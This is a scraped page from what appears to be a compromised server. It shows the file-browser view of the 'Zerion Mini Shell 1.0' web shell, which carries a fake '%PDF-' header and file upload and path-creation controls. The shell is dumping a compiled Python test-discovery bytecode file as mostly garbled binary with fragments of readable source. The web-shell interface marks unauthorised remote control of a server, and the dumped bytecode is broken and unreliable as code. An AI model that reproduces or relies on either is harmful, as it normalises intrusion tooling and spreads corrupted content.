%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.12/test/libregrtest/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.12/test/libregrtest/__pycache__/findtests.cpython-312.pyc

�

���f�
�	��UddlZddlZddlZddlmZddlmZmZddlm	Z	m
Z
mZmZm
Z
mZmZmZhd�Zee
ed<dde	dzd	e	fd
�Zddedd
�de	dzdee
ded	efd�Zdded�de	dzfd�Zd�Zddd�dede
dzde	dzfd�Zy)�N)�support�)�
match_test�set_match_tests)�StrPath�TestName�	TestTuple�TestList�
TestFilter�abs_module_name�count�	printlist>
�test_gdb�
test_pydoc�test_asyncio�test_inspect�
test_doctests�test_future_stmt�test_concurrent_futures�test_multiprocessing_fork�test_multiprocessing_spawn�test_multiprocessing_forkserver�
SPLITTESTDIRS�path�returnc��|xsRtjjtjjt��xstjS�N)�osr�dirname�__file__�curdir)rs �1/usr/lib/python3.12/test/libregrtest/findtests.py�findtestdirr#!s0���J�2�7�7�?�?�2�7�7�?�?�8�#<�=�J����J�����testdir�exclude�split_test_dirs�base_modr(r*r+c	��t|�}g}tj|�D]�}tjj	|�\}}|jd�r||vr�;|r|�d|��}n|}||vrFtjj
||�}	|sd|��}|jt|	|||�����|dvs��|j|���t|�S)z-Return a list of all applicable test modules.�test_�.ztest.r')z.pyr&)r#r�listdirr�splitext�
startswith�join�extend�	findtests�append�sorted)
r(r)r*r+�tests�name�mod�ext�fullname�subdirs
          r"r4r4%s����'�"�G��E��
�
�7�#�#���7�7�#�#�D�)���S����w�'�S�G�^���"��1�S�E�*�H��H���&��W�W�\�\�'�3�/�F��"�3�%�=���L�L��6�7�3B�,4�6�
7��K�
��L�L��"�!#�"�%�=�r$)r(r)r*c	���t|�}g}|D]V}||vr?tjj||�}|j	t||||����F|j
|��X|S)Nr')r#rrr2r3r4r5)r7r(r)r*�splittedr8r<s       r"�split_test_packagesr??sn���'�"�G��H��"���?�"��W�W�\�\�'�4�0�F��O�O�I�f�g�6E�/3�5�
6�
�O�O�D�!�"��Or$c�(�|D]�}t|tjj�r�(t|tj�rt|��Nt|tj�s�it|�s�ut|j����yr)
�
isinstance�unittest�loader�_FailedTest�	TestSuite�_list_cases�TestCaser�print�id)�suite�tests  r"rFrFNsf���!���d�H�O�O�7�7�8���d�H�.�.�/����
��h�/�/�
0��$���d�g�g�i� �!r$)�match_tests�test_dirr7rLrMc���dt_t|�g}|D]9}t||�}	tj
j
|�}t|��;|ritjj�tj}t|��ttt!|�d�d|��t#||��yy#tj$r|j|�Y��wxYw)NF)�filerKzskipped:)r�verboserrrB�defaultTestLoader�loadTestsFromNamerF�SkipTestr5�sys�stdout�flush�stderrrHr
�lenr)r7rLrM�skipped�	test_name�module_namerJrWs        r"�
list_casesr\Xs����G�O��K� ��G��&�	�%�i��:��	&��.�.�@�@��M�E����	&���
�
��������
�6��
�e�C��L�&�)�:�F�C��'��'���� � �	&��N�N�9�%�	&�s�*C�$C*�)C*r)rrTrBrKr�filterrr�utilsrrr	r
rrr
rr�set�__annotations__r#�strr4r?rFr\r%r$r"�<module>rbs���	�
���/�'�'�'� �
�s�8�}��K�g��n�K��K�,0��/<� ��'�D�.��"�8�}����%-��4=A�"�(5��7�T�>��!�15�*.�(�i�(�&��-�(� �4��(r$

Zerion Mini Shell 1.0